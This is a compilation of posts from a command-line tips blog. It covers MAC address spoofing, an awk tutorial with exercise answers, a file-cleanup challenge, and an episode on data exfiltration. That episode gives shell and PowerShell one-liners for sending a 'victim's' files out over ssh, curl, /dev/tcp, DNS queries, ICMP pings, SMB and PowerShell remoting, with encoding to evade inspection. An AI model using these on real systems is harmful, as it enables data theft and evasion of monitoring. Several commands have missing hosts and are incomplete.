$ ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:7a:5f:be:a2:ca

Again I'm using two literal zeroes at the front of the MAC address, so that I create addresses that don't cause ifconfig to error out on me.

The expression above is not very short, but at least it uses basic commands that will be available on pretty much any Unix-like OS. If your ifconfig needs colons between the octets, then you'll have to add a little sed like Jeremy did:

$ sudo ifconfig wlan0 hw ether \
00$(head /dev/urandom | tr -dc a-f0-9 | sed 's/\(..\)/:\1/g;' | cut -c1-15)

$ ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:d9:3e:0d:80:57

Jeremy's sed is more complicated because he takes 12 digits and adds colons after each octet, but leaves a trailing colon at the end of the address. So he has a second substitution to drop the trailing colon. I'm using cut to trim off the extra output anyway, so I don't really need the extra sed substitution. Also, since I'm specifying the first octet outside of the "$(...)", my sed expression puts the colons in front of each octet.

So there you have it. There's a very short solution for my Linux box that has a date command with nanosecond resolution and a very forgiving ifconfig command. And a longer solution that should work on pretty much any Unix-like OS. But even my longest solution is surely going to look great compared to what Tim's going to have to deal with.

Tim wishes he hadn't checked into Twitter:

I'm so jealous of Hal. I think his entire command is shorter than the name of my interface. This command is painful, quite painful. I would very much suggest something like Technitium's Mac Address Changer, but since Hal set me up here we go...

To start of, we need to get the name of our target interface. Sadly, the names of the interfaces aren't as simply named as they are on a *nix box. Not only is the name 11 times longer, but it is not easy to type. If you run "ipconfig /all" you can find the name and copy/paste it. (By the way, I'm only going to use PowerShell here, the CMD.EXE version would be ugly^2).

PS C:\> $ifname = "Intel(R) 82574L Gigabit Network Connection"

The MAC address for each interface is stored somewhere in the registry under this even-less-easy-to-type Key:
HKLM:\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\[Some 4 digit number]\

First, a bit of clarification. Many people (erroneously) refer to Keys as the name/value pairs, but those pairs are actually called Values. A key is the container object (similar to a directory). How about that for a little piece of trivia?

With PowerShell we can use Get-ChildItem (alias dir, ls, gci) to list all the keys and then Get-ItemProperty (alias gp) to list the DriverDesc values. A simple Where-Object filter (alias where, ?) will find the key we need.

PS C:\> Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Control\Class\`{4D36E972-E325-
11CE-BFC1-08002bE10318`}\[0-9]*\ | Get-ItemProperty -Name DriverDesc |
? DriverDesc -eq "Intel(R) 82574L Gigabit Network Connection"

DriverDesc : Intel(R) 82574L Gigabit Network Connection
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SY...0318}\0010
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SY...0318}
PSChildName : 0010
PSProvider : Microsoft.PowerShell.Core\Registry

Note: the curly braces ({}) need to be prefixed with a back tick (`) so they are not interpreted as a script block.

So now we have the Key for our target network interface. Next, we need to generate a random MAC address. Fortunately, Windows does not requires the use of colons (or dots) in the MAC address. This is nice as it makes our command a little easier to read (a very very little, but we'll take any win we can). The acceptable values are between 000000000000 and fffffffffffe (ffffffffffff is the broadcast address and should be avoided). This is the range between 0 and 2^48-2 ([Math]::Pow(2,8*6)-2 = 281474976710654). The random number is then formatted as a 12 digit hex number.

PS C:\> [String]::Format("{0:x12}", (Get-Random -Minimum 0 -Maximum 281474976710655))
PS C:\> [String]::Format("{0:x12}", (Get-Random -Minimum 0 -Maximum 281474976710655))

We have a random MAC address value and we know the Key, now we need to put those two pieces together to actually change the MAC address. The New-ItemProperty cmdlet will create the value if it doesn't exist and the -Force option will overwrite it if it already exists. This results in the final version of our ugly command. We could shorten the command a little (very little) bit, but this is the way it's mother loves it, so we'll leave it alone.

PS C:\> ls HKLM:\SYSTEM\CurrentControlSet\Control\Class\`{4D36E972-E325-11CE-BFC1-
08002bE10318`}\0*\ | Get-ItemProperty -Name DriverDesc | ? DriverDesc -eq
"Intel(R) 82574L Gigabit Network Connection" | New-ItemProperty -Name
NetworkAddress -Value ([String]::Format("{0:x12}", (Get-Random -Minimum 0
-Maximum 281474976710655))) -PropertyType String -Force

You would think that after all of this mess we would be good to go, but you would be wrong. As with most things Windows, you could reboot the system to have this take affect, but that's no fun. We can accomplish the same goal by disabling and enabling the connection. This syntax isn't too bad, but we need to use a different long name here.

PS C:\> netsh set interface name="Wired Ethernet Connection" admin=DISABLED
PS C:\> netsh set interface name="Wired Ethernet Connection" admin=ENABLED

At this point you should be running with the new MAC address.

And now you can see why I recommend a better tool to do this...and why I envy Hal.

Andres Elliku wrote in and reminded me of the new NetAdapter cmdlets in version 3. Here is his response.

This is directed mainly to Tim as a suggestion to decrease his pain. :) (Tim's comment: for this I'm thankful!)

Powershell has included at least since version 2.0 the NetAdapter module. This means that in Powershell you could set the mac aadress with something like:

PS C:\> Set-NetAdapter -Name "Wi-Fi" -MacAddress ([String]::Format("{0:x12}", 
(Get-Random -Minimum 0 -Maximum 281474976710655))) | Restart-NetAdapter

NB! The adapter name might vary, but usually they are still pretty short.

The shorter interface names is one of my favorite features of Windows 8 and Windows 2012. Also, with these cmdlets we don't need the name if the device (Intel blah blah blah) but the newly shortened interface name. Great stuff Andres. Thanks for writing in! -Tim


@PowerShellGuy tweeted an even shorted version using the format operator and built-in byte conversion:

PS C:\> Set-NetAdapter "wi-fi" -mac ("{0:x12}" -f (get-random -max (256tb-1))) | 

Well done for really shortening the command -Tim

An AWK-ward Response

A couple of weeks ago I promised some answers to the exercises I proposed at the end of my last post. What we have here is a case of, "Better late than never!"

1. If you go back and look at the example where I counted the number of processes per user, you'll notice that the "UID" header from the ps command ends up being counted. How would you suppress this?

There's a couple of different ways you could attack this using the material I showed you in the previous post. One way would be to do string comparison on field $1:

$ ps -ef | awk '$1 != "UID" {print $1}' | sort | uniq -c | sort -nr
178 root
58 hal
2 www-data

An alternative approach would be to use pattern matching to print lines that don't match the string "UID". The "!" operator means "not", so the expression "!/UID/" does what we want:

$ ps -ef | awk '!/UID/ {print $1}' | sort | uniq -c | sort -nr
178 root
57 hal
2 www-data

You'll notice that the "!/UID/" version counts one less process for user "hal" than the string comparison version. That's because the pattern match is matching the "UID" in the awk code and not showing you that process. So the string comparison version is slightly more accurate.

2. Print out the usernames of all accounts with superuser privileges (UID is 0 in /etc/passwd).

Remember that /etc/passwd file is colon-delimited, so we'll use awk's "-F" operator to split on colons. UID is field #3 and the username is field #1:

$ awk -F: '$3 == 0 {print $1}' /etc/passwd

Normally, a Unix-like OS will only have a single UID 0 account named "root". If you find other UID 0 accounts in your password file, they could be a sign that somebody's doing something naughty.

3. Print out the usernames of all accounts with null password fields in /etc/shadow.

You'll need to be root to do this one, since /etc/shadow is only readable by the superuser:

# awk -F: '$2 == "" {print $1}' /etc/shadow

Again, we use "-F:" to split the fields in /etc/shadow. We look for lines where the second field (containing the password hash) is the empty string and print the first field (the username) when this condition is true. It's really not much different from the previous /etc/passwd example.

You should get no output. There shouldn't be any entries in /etc/shadow with null password hashes!

4. Print out process data for all commands being run as root by interactive users on the system (HINT: If the command is interactive, then the "TTY" column will have something other than a "?" in it)

The "TTY" column in the "ps" output is field #6 and the username field is #1:

# ps -ef | awk '$1 == "root" && $6 != "?" {print}'
root 1422 1 0 Jan05 tty4 00:00:00 /sbin/getty -8 38400 tty4
root 1427 1 0 Jan05 tty5 00:00:00 /sbin/getty -8 38400 tty5
root 1434 1 0 Jan05 tty2 00:00:00 /sbin/getty -8 38400 tty2
root 1435 1 0 Jan05 tty3 00:00:00 /sbin/getty -8 38400 tty3
root 1438 1 0 Jan05 tty6 00:00:00 /sbin/getty -8 38400 tty6
root 1614 1523 0 Jan05 tty7 00:09:00 /usr/bin/X :0 -nr -verbose -auth ...
root 2082 1 0 Jan05 tty1 00:00:00 /sbin/getty -8 38400 tty1
root 5909 5864 0 13:42 pts/3 00:00:00 su -
root 5938 5909 0 13:42 pts/3 00:00:00 -su
root 5968 5938 0 13:47 pts/3 00:00:00 ps -ef
root 5969 5938 0 13:47 pts/3 00:00:00 awk $1 == "root" && $6 != "?" {print}

We look for the keyword "root" in the first field, and anything that's not "?" in the sixth field. If both conditions are true, then we just print out the entire line with "{print}".

Actually, "{print}" is the default action for awk. So we could shorten our code just a bit:

# ps -ef | awk '$1 == "root" && $6 != "?"'
root 1422 1 0 Jan05 tty4 00:00:00 /sbin/getty -8 38400 tty4
root 1427 1 0 Jan05 tty5 00:00:00 /sbin/getty -8 38400 tty5
root 1434 1 0 Jan05 tty2 00:00:00 /sbin/getty -8 38400 tty2

5. I mentioned that if you kill all the sshd processes while logged in via SSH, you'll be kicked out of the box (you killed your own sshd process) and unable to log back in (you've killed the master SSH daemon). Fix the awk so that it only prints out the PIDs of SSH daemon processes that (a) don't belong to you, and (b) aren't the master SSH daemon (HINT: The master SSH daemon is the one who's parent process ID is 1).

This one's a little tricky. Take a look at the sshd processes on my system:

# ps -ef | grep sshd
root 3394 1 0 2012 ? 00:00:00 /usr/sbin/sshd
root 13248 3394 0 Jan05 ? 00:00:00 sshd: hal [priv]
hal 13250 13248 0 Jan05 ? 00:00:02 sshd: hal@pts/0
root 25189 3394 0 08:27 ? 00:00:00 sshd: hal [priv]
hal 25191 25189 0 08:27 ? 00:00:00 sshd: hal@pts/1
root 25835 25807 0 15:33 pts/1 00:00:00 grep sshd

For modern SSH daemons with "Privilege Separation" enabled, there are actually two sshd processes per login. There's a root-owned process marked as "sshd: <user> [priv]" and a process owned by the user marked as "sshd: <user>@<tty>". Life would be a whole lot easier if both processes were identified with the associated pty, but alas things didn't work out that way. So here's what I came up with:

# ps -ef | awk '/sshd/ && !($3 == 1 || /sshd: hal[@ ]/) {print $2}'

First we eliminate all processes except for the sshd processes with "/sshd/". We only want to print out the process IDs if it's not the master SSH daemon ("$3 == 1" to make sure the PPID isn't 1) or if it's not one of my SSH daemons ("/sshd: hal[@ ]/" means the string "sshd: hal" followed by either "@" or space). If everything looks good, then print the process ID of the process ("{print $2}").

Frankly, that's some pretty nasty awk. I'm not sure it's something I'd come up with easily on the spur of the moment.

6. Use awk to parse the output of the ifconfig command and print out the IP address of the local system.

Here's the output from ifconfig on my system:

$ ifconfig eth0
eth0 Link encap:Ethernet HWaddr f0:de:f1:29:c7:18
inet addr: Bcast: Mask:
inet6 addr: fe80::f2de:f1ff:fe29:c718/64 Scope:Link
RX packets:7724312 errors:0 dropped:0 overruns:0 frame:0
TX packets:13553720 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:711630936 (711.6 MB) TX bytes:17529013051 (17.5 GB)

So this is a reasonable first approximation:

$ ifconfig eth0 | awk '/inet addr:/ {print $2}'

The only problem is the "addr:" bit that's still hanging on. awk has a number of built-in functions, including substr() which can help us in this case:

$ ifconfig eth0 | awk '/inet addr:/ {print substr($2, 6)}'

substr() takes as arguments the string we're working on (field $2 in this case) and the place in the string where you want to start (for us, that's the sixth character so we skip over the "addr:"). There's an optional third argument which is the number of characters to grab. If you leave that off, then you just get the rest of the string, which is what we want here.

There are lots of other useful built-in functions in awk. Consult the manual page for further info.

7. Parse the output of "lsof -nPi" and output the unique process name, PID, user ID, and port combinations for all processes that are in "LISTEN" mode on ports on the system.

Let's take a look at the "lsof -nPi" output using awk to match only the lines for "LISTEN" mode:

# lsof -nPi | awk '/LISTEN/'
sshd 1216 root 3u IPv4 5264 0t0 TCP *:22 (LISTEN)
sshd 1216 root 4u IPv6 5266 0t0 TCP *:22 (LISTEN)
mysqld 1610 mysql 10u IPv4 6146 0t0 TCP (LISTEN)
vmware-au 1804 root 8u IPv4 6440 0t0 TCP *:902 (LISTEN)
cupsd 1879 root 6u IPv6 73057 0t0 TCP [::1]:631 (LISTEN)
cupsd 1879 root 8u IPv4 73058 0t0 TCP (LISTEN)
apache2 1964 root 4u IPv4 7412 0t0 TCP *:80 (LISTEN)
apache2 1964 root 5u IPv4 7414 0t0 TCP *:443 (LISTEN)
apache2 4112 www-data 4u IPv4 7412 0t0 TCP *:80 (LISTEN)
apache2 4112 www-data 5u IPv4 7414 0t0 TCP *:443 (LISTEN)
apache2 4113 www-data 4u IPv4 7412 0t0 TCP *:80 (LISTEN)
apache2 4113 www-data 5u IPv4 7414 0t0 TCP *:443 (LISTEN)
skype 5133 hal 41u IPv4 104783 0t0 TCP *:6553 (LISTEN)

Process name, PID, and process owner are fields 1-3 and the protocol and port are in fields 8-9. So that suggests the following awk:

# lsof -nPi | awk '/LISTEN/ {print $1, $2, $3, $8, $9}'
sshd 1216 root TCP *:22
sshd 1216 root TCP *:22
mysqld 1610 mysql TCP
vmware-au 1804 root TCP *:902
cupsd 1879 root TCP [::1]:631
cupsd 1879 root TCP
apache2 1964 root TCP *:80
apache2 1964 root TCP *:443
apache2 4112 www-data TCP *:80
apache2 4112 www-data TCP *:443
apache2 4113 www-data TCP *:80
apache2 4113 www-data TCP *:443
skype 5133 hal TCP *:6553

And if we want the unique entries, then just use "sort -u":

# lsof -nPi | awk '/LISTEN/ {print $1, $2, $3, $8, $9}' | sort -u
apache2 1964 root TCP *:443
apache2 1964 root TCP *:80
apache2 4112 www-data TCP *:443
apache2 4112 www-data TCP *:80
apache2 4113 www-data TCP *:443
apache2 4113 www-data TCP *:80
cupsd 1879 root TCP
cupsd 1879 root TCP [::1]:631
mysqld 1610 mysql TCP
skype 5133 hal TCP *:6553
sshd 1216 root TCP *:22
vmware-au 1804 root TCP *:902

Looking at the output, I'm not sure I care about all of the different apache2 instances. All I really want to know is which program is using port 80/tcp and 443/tcp. So perhaps we should just drop the PID and process owner:

# lsof -nPi | awk '/LISTEN/ {print $1, $8, $9}' | sort -u
apache2 TCP *:443
apache2 TCP *:80
cupsd TCP
cupsd TCP [::1]:631
mysqld TCP
skype TCP *:6553
sshd TCP *:22
vmware-au TCP *:902

In the above output you see cupsd bound to both the IPv4 and IPv6 loopback address. If you just care about the port numbers, we can flash a little sed to clean things up:

# lsof -nPi | awk '/LISTEN/ {print $1, $8, $9}' | \
sed 's/[^ ]*:\([0-9]*\)/\1/' | sort -u -n -k3

sshd TCP 22
apache2 TCP 80
apache2 TCP 443
cupsd TCP 631
vmware-au TCP 902
mysqld TCP 3306
skype TCP 6553

In the sed expression I'm matching "some non-space characters followed by a colon" ("[^ ]*:") with some digits afterwards ("[0-9]*"). The digits are the port number, so we replace the matching expression with just the port number. Notice I used "\(...\)" around the "[0-9]*" to create a sub-expression that I can substitute on the right-hand side as "\1".

I've also modified the final "sort" command so that we get a numeric ("-n") sort on the port number ("-k3" for the third column). That makes the output look more natural to me.

I guess the moral of the story here is that awk is good for many things, but not necessarily for everything. Don't forget that there are other standard commands like sed and sort that can help produce the output that you're looking for.

Happy awk-ing everyone!


Yesterday I got an email friend who complained that "awk is still a mystery". Not being one to ignore a cry for help with the command line, I was motivated to write up a simple introduction to the basics of awk. But where to post it? I know! We've got this little blog we're not doing anything with at the moment (er, yeah, sorry about that folks-- life's been exciting for the Command Line Kung Fu team recently)...

Lesson #1 -- It's a big loop!

The first thing you need to understand about awk is that it reads and operates on each line of input one at a time. It's as if your awk code were sitting inside a big loop:

for each line of input
# your code is here
end loop

Your code goes in curly braces. So the simplest awk program is one that just prints out every line of a file:

awk '{print}' /etc/passwd

Nothing too exciting there. It's just a more complicated way to "cat /etc/passwd". Note that you generally want to enclose your awk code in single quotes like I did in the example above. This prevents special characters in the awk script from being interpolated by your shell before they even get to awk.

Lesson #2 -- awk splits the line into fields

One of the nice features of awk is that it automatically splits up each input line using whitespace as the delimiter. It doesn't matter how many spaces/tabs appear in between items on the line, each chunk of whitespace in its entirety is treated as a delimiter.

The whitespace-delimited fields are put into variables named $1, $2, and so on. Rather than just doing "print" as we did in the last example (which prints out the whole original line), you can print out any of the individual fields by number. For example, I can pull out the percentage used (field 5) and file system mount point (field 6) from df output:

$ df -h -t ext4 | awk '{print $5, $6}'
Use% Mounted
58% /
24% /boot
42% /var
81% /home
89% /usr

The comma in the "print $5, $6" expression causes awk to put a space between the two fields. If you did "print $5 $6", you'd get the two fields jammed up against each other with no space between them.

We could use a similar strategy to pull out just the usernames from ps (field 1):

$ ps -ef | awk '{print $1}'

Not so interesting maybe, until you start combining it with other shell primitives:

$ ps -ef | awk '{print $1}' | sort | uniq -c | sort -nr
188 root
70 hal
2 www-data
2 avahi
2 108
1 syslog
1 rtkit
1 ntp
1 mysql
1 gdm
1 daemon
1 102

Once we sort all the usernames in order, we can use "uniq -c" to count the number of processes running as each user. The final "sort -nr" gives us a descending ("-r") numeric ("-n") sort of the counts.

And this is fundamentally what's interesting about awk. It's great in the middle of a shell pipeline to be able to pull out individual fields that we're interested in processing further.

Lesson #3 -- Being selective

The other cool power of awk is that you can operate on selected lines of your input and ignore the rest. Any awk statement like "{print}" can optionally be preceded by a conditional operator. If a conditional operation exists, then your awk code will only operate on lines that match the expression.

The most common conditional operator is "/.../", which does pattern matching. For example, I could pull out the process IDs of all sshd processes like this:

$ ps -ef | awk '/sshd/ {print $2}'

That output is maybe more interesting when you use it with the kill command to kick people off of your system:

# kill $(ps -ef | awk '/sshd/ {print $2}')

Of course, you better be on the system console when you execute that command. Otherwise, you've just locked yourself out of the box!

While pattern matching tends to get used most frequently, awk has a full suite of comparison and logical operators. Returning to our df example, what if we wanted to print out only the file systems that were more than 80% full? Remember that the percent used is in field 5 and the file system mount point is field 6. If field 5 is more than 80, we want to print field 6:

$ df -h -t ext4 | awk '($5 > 80) {print $6}'

Whoops! The header line ends up getting dumped out too! We'd actually like to suppress that. I could use the tail command to strip that out, but I can also do it in our awk statement:

$ df -h -t ext4 | awk '$5 ~ /[0-9]/ && ($5 > 80) {print $6}'

"$5 ~ /[0-9/" means do a pattern match specifically against field 5 and make sure it contains at least one digit. And then we check to make sure that field 5 is greater than 80. If both of those conditional expressions are true then we'll print out field 6. I made this more complicated that it needs to be just to show you that you can put together complicated logical expressions with "&&" (and "||" for the "or" relationship) and do pattern matching on specific fields if you want to.

Lesson #4 -- You don't have to split on whitespace

While splitting on whitespace is frequently useful, sometimes you're dealing with input that's broken up by some other character, like commas in a CSV file or colons in /etc/passwd. awk has a "-F" option that lets you specify a delimiter other than whitespace.

Here's a little trick to find out if you have any duplicate UIDs in your /etc/passwd file:

$ awk -F: '{print $3}' /etc/passwd | sort | uniq -d

Here we're merely using awk to pull the UID field (field 3) from the colon-delimited ("-F:") /etc/passwd file. Then we sort the UIDs and use "uniq -d" to tell us if there are any duplicates. You want this command to return no output, indicating no duplicates were found.

The Rest is Practice

There's a lot more to awk, but this is more than enough to get you started with this useful little utility. But like any new skill, the best way to master awk is practice. So I'm going to give you a few exercises to work on. I'll post the answers on the blog in a week or so. Good luck!

  1. If you go back and look at the example where I counted the number of processes per user, you'll notice that the "UID" header from the ps command ends up being counted. How would you suppress this?

  2. Print out the usernames of all accounts with superuser privileges (UID is 0 in /etc/passwd).

  3. Print out the usernames of all accounts with null password fields in /etc/shadow.

  4. Print out process data for all commands being run as root by interactive users on the system (HINT: If the command is interactive, then the "TTY" column will have something other than a "?" in it)

  5. I mentioned that if you kill all the sshd processes while logged in via SSH, you'll be kicked out of the box (you killed your own sshd process) and unable to log back in (you've killed the master SSH daemon). Fix the awk so that it only prints out the PIDs of SSH daemon processes that (a) don't belong to you, and (b) aren't the master SSH daemon (HINT: The master SSH daemon is the one who's parent process ID is 1).

  6. Use awk to parse the output of the ifconfig command and print out the IP address of the local system.

  7. Parse the output of "lsof -nPi" and output the unique process name, PID, user ID, and port combinations for all processes that are in "LISTEN" mode on ports on the system.

Episode #164: Exfiltration Nation

Hal pillages the mailbox

Happy 2012 everybody!

In the days and weeks to come, the industry press will no doubt be filled with stories of all the high-profile companies whose data was "liberated" during the past couple of weeks. It may be a holiday for most of us, but it's the perfect time for the black hats to be putting in a little overtime with their data exfiltration efforts.

So it was somehow appropriate that we found that loyal reader Greg Hetrick had emailed us this tasty little bit of command-line exfiltration fu:

tar zcf - localfolder | ssh "cd /some/path/name; tar zxpf -"

Ah, yes, the old "tar over SSH" gambit. The nice thing here is that no local file gets written, but you end up with a perfect directory copy over on "" in a target directory of your choosing.

If SSH is your preferred outbound channel, and the local system has rsync installed, you could accomplish the same mission with fewer keystrokes:

rsync -aH localhost

If outbound port 22 is being blocked, you could use "ssh -p" or "rsync --port" to connect to the remote server on an alternate port number. Ports 80 and 443 are often open in the outbound direction when other ports are not.

But what if outbound SSH connections-- especially SSH traffic on unexpected port numbers-- are being monitored by your victim? Greg's email got me thinking about other stealthy ways to move data out of an organization using only command-line primitives.

My first thought was everybody's favorite exfiltration protocol: HTTPS. And nothing makes moving data over HTTPS easier than curl:

tar zcf - localfolder | curl -F "data=@-"

"curl -F" fakes a form POST. In this case, the submitted parameter name will be "data". Normally you would use "@filename" after the "data=" to post the contents of a file. But we don't want to write any files locally, so we use "@-" to tell curl to take data from the standard input.

Of course, you'd also have to create script.php over on the remote web server and have it save the incoming data so that you could manually unpack it later. And, while it's commonly found on Linux systems, curl is not a built-in tool. So strictly speaking, I'm not supposed to be using it according to the rules of our blog.

So no SSH and now no curl. What's left? Well, I could just shoot the tarball over the network in raw mode:

tar zcf - localfolder >/dev/tcp/

"/dev/tcp/" is the wonderful bash-ism that allows me to make connections to arbitrary hosts and ports via the command-line. Note that because the "/dev/tcp/..." hack is a property of the bash shell, I can't use it as a file name argument to "tar -f". Instead I have to use redirection like you see in the example.

Maybe my victim is doing packet inspection. Perhaps I don't want to just send the unobfuscated tarball. I could use xxd to encode the tarball as a hex dump before sending:

tar zcf - localfolder | xxd -p >/dev/tcp/

You would use "xxd -r" on the other end to revert the hex dump back into binary.

Instead of xxd, I could use "base64" for a simple base64 encoding. But that might be too obvious. How about a nice EBCDIC encoding on top of the base64:

tar zcf - localfolder | base 64 | dd conv=ebcdic >/dev/tcp/

Use "dd conv=ascii if=filename | base64 -d" on the remote machine to get your data back. I'm guessing that nobody looking at the raw packet data would suspect EBCDIC as the encoding though.

Doing something like XOR encoding on the fly turns into a script, unfortunately. But there are some cool examples in several different languages (including the Unix shell and Windows Powershell) over here.

Or how about using DNS queries to exfiltrate data:

tar zcf - localfolder | xxd -p -c 16 |
while read line; do host $; done

Once again I'm using xxd to encode my tar file as a hex dump. I read the hex dump line by line and use each line of data as the "host name" portion of a DNS query to my nameserver on By monitoring the DNS query traffic on the remote machine, I can reassemble the encoded data to get my original file content back.

Note that I've added the '-c 16" option to the xxd command to output 16 bytes (32 characters) per line. That way my "host names" are not flagged as invalid for being too long. You might also want to throw a "sleep" statement into that loop so that your victim doesn't become suspicious of the sudden blast of DNS queries leaving the box.

I could so something very similar using the ping command on Linux to exfiltrate my data in ICMP echo request packets:

tar zcf - localfolder | xxd -p -c 16 |
while read line; do ping -p $line -c 1 -q; done

The Linux version of ping lets me use "-p" to specify up to 16 bytes of data to be included in the outgoing packet. Unfortunately, this option may not be supported on other Unix variants. I'm also using "-c 1" to send only a single instance of each packet and "-q" to reduce the amount of output I get. Of course, I'd have to scrape the content out of the packets on the other side, which will require a bit of scripting.

Well, I hope that gets your creative juices flowing. There's just so many different ways you can obfuscate data and move it around the network using the bash shell. But I think I better stop here before I make Tim cry. Now Tim, stop your sobbing and show us what you've got in Windows.

Tim wipes away his tears

I asked Santa for a few features to appear in Windows that are native to Linux, but all I got was a lump of coal. I keep asking Santa every year and he never writes back. I know people told me he doesn't exist, but HE DOES. He gave me a skateboard when I was 7. So yes, my apparent shunning by Santa made me cry.

I've got no built in commands for ssh, tar, base64, curl/wget, dev tcp, or any of the cool stuff Hal has. FTP could be used, and can support encryption, but you have to write a script for the FTP command (similar to this). While PowerShell scripts could be written to implement most of these functions, that would definitely cross into The Land of Scripts (and they have a restraining order against us, something about Hal not wearing pants last time he visited).

That pretty much leaves SMB connections and that has a number of problems. First, we don't have encryption, which may mean we can't use it on a Pen Test. Second, port 445 is usually heavily monitored or filtered. Third, we can't pick a different port and we are stuck with 445.

On the bright side it means that my portion of this episode is going to be short. First, we create the connection back to our server.

C:\> net use z: \\\myshare myevilpassword1 /user:myeviluser

Then we can copy all the files we want to the Z. drive. We can accomplish this using Robocopy or PowerShell's Copy-Item (aliases copy, cp, and cpi) with the -Recurse switch.

Yep, that's it. Now back to my crying. Oh, and Happy Stinking New Year.

Edit: Marc van Orsouw writes in with the following
Some remarks about PowerShell options :

Of course you do not need the net use in PowerShell you can use UNC directly.
And there are a lot of options in your wishlist that can be done using .NET (mostly resulting in scripts on oneliners of course, so keep your list ;), although PSCX will solve a lot of them)

Some options I came up with :

A IMHO opinion another cool option is using PowerShell remoting (already encrypted)

This could be as easy as :

Invoke-Command -ComputerName evilserver {PARAM($txt);set-content stolen.txt $txt} -ArgumentList (get-content usernames.txt)

Some Ugly FTP example with Base64

[System.Net.FtpWebRequest][System.Net.WebRequest]::Create('') |% {$_.Method = "STOR";$s = [byte[]][convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\username.txt')).tochararray();$_.GetRequestStream().Write($s, 0, $s.Length)}

And with Web service when remote server available (as in the PHP example) than it would be as simple as :

(New-WebServiceProxy -uri file.txt))

We can just use the UNC path (\\\share instead of z:\) for exfiltration, but if we want to authenticate the best way is to use NET USE first.

The PowerShell Community Extensions (PSCX) do give a lot of cool functionality, but they are add-ons and not allowed. Similarly, the .NET framework gives us tremendous power, but crosses into script-land rather quickly and is also not allowed.

The remoting command is really cool *and* it is encrypted too. I forgot about this one. The New-WebServiceProxy cmdlet is a really intriguing way to do this as well. I have never used this cmdlet before, and if we use HTTPS instead of HTTP it would be encrypted too. Very nice!

Edit 2: Marc van Orsouw has another cool suggestions
PS C:\> Import-Module BitsTransfer
PS C:\> Start-BitsTransfer -Source c:\clienttestdir\testfile1.txt -Destination https://server01/servertestdir/testfile1.txt
-TransferType Upload -cred (get-credential)

Mark is a PowerShell MVP and blogs over at

Episode #161: Cleaning up the Joint

Hal's got email

Apparently tired of emailing me after we post an Episode, Davide Brini decided to write us with a challenge based on a problem he had to solve recently. Davide had a directory full of software tarballs with names like:


As the packages accumulate in the directory, Davide wanted to be able to get rid of everything but the most recent three tarballs. The trick is that we're only allowed to rely on the version number that's the third component of the file pathname, and not file metadata like the file timestamps. And of course our final solution should work no matter how many packages are in the directory or what their names are, and no matter how many versions of each package currently exist in the directory.

The code I used to create my test cases is actually longer than my final solution. Here's the quickie I tossed off to create a directory of interesting test files:

$ for i in one two three four five; do 
for j in {1..5}; do
touch pkg-$i-$RANDOM.tar.gz;

$ ls
pkg-five-20690.tar.gz pkg-four-6945.tar.gz pkg-three-29078.tar.gz
pkg-five-22215.tar.gz pkg-one-16581.tar.gz pkg-three-31807.tar.gz
pkg-five-24754.tar.gz pkg-one-18962.tar.gz pkg-two-1461.tar.gz
pkg-five-27332.tar.gz pkg-one-25712.tar.gz pkg-two-14713.tar.gz
pkg-five-3200.tar.gz pkg-one-5325.tar.gz pkg-two-23569.tar.gz
pkg-four-12855.tar.gz pkg-one-8421.tar.gz pkg-two-28329.tar.gz
pkg-four-14868.tar.gz pkg-three-11196.tar.gz pkg-two-526.tar.gz
pkg-four-17282.tar.gz pkg-three-15935.tar.gz
pkg-four-19436.tar.gz pkg-three-25092.tar.gz

The outer loop creates the different package names, and the inner loop creates five instances of each package. To get a wide selection of version numbers, I just use $RANDOM to get a random value between 1 and 32K.

The tricky part about this challenge is that tools like "ls" will sort the file names alphabetically rather than numerically. In the output above, for example, you can see that "pkg-two-526.tar.gz" sorts at the very end of the list, even though numerically version number 526 is the earliest version in the "pkg-two" series of files.

We can use "sort" to list the files in numeric order by version number:

$ ls | sort -nr -t- -k3 

Here I'm doing a descending ("reversed") numeric sort ("-nr") on the third hypen-delimited field ("-t- -k3"). All the package names are mixed up, but at least the files are in numeric order.

Now all I have to do is pick out the the fourth and later copies of any particular package name. For this there's awk:

$ ls | sort -nr -t- -k3 | awk -F- '++a[$1,$2] > 3' 

The "-F-" option tells awk to split its input on the hyphens. I'm using "++a[$1,$2]" to count the number of times I've seen a particular package name. When I get to the fourth and later entries for a given package, then my conditional statement will be true. Since I don't specify an action to take, the default assumption is "{print}" and the file name gets printed. Stick that in your awk pipe and smoke it, Davide!

Removing the files instead of just printing their names is easy. Just pipe the output into xargs:

$ ls | sort -nr -t- -k3 | awk -F- '++a[$1,$2] > 3' | xargs rm -f
$ ls
pkg-five-22215.tar.gz pkg-four-19436.tar.gz pkg-three-29078.tar.gz
pkg-five-24754.tar.gz pkg-one-16581.tar.gz pkg-three-31807.tar.gz
pkg-five-27332.tar.gz pkg-one-18962.tar.gz pkg-two-14713.tar.gz
pkg-four-14868.tar.gz pkg-one-25712.tar.gz pkg-two-23569.tar.gz
pkg-four-17282.tar.gz pkg-three-25092.tar.gz pkg-two-28329.tar.gz

I've used the "-f" option here just so that we don't get an error message when we run the command and there end up being no files that need to be removed.

And that's my final answer, Regis... er, Davide! Thanks for a fun challenge! To make things really interesting for Tim, I think we should make him do this one in CMD.EXE, don't you?

Tim thinks Hal is mean

Not only does Hal throw down the gauntlet and request CMD.EXE, but he makes this problem more difficult by making this two challenges in one. Not being one to turn down a challenge (even though I should), we start off with PowerShell by creating the test files:

PS C:\> foreach ($i in "one","two","three","four","five" ) {
foreach ($j in 1..5) {
Set-Content -Path "pkg-$i-$(Get-Random -Minimum 1 -Maximum 32000).tar.gz" -Value ""
} }

PS C:\> ls

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 11/1/2011 1:23 PM 2 pkg-five-19410.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-five-21426.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-five-26739.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-five-27296.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-five-6618.tar.gz
-a--- 11/1/2011 1:23 PM 2 pkg-four-18533.tar.gz
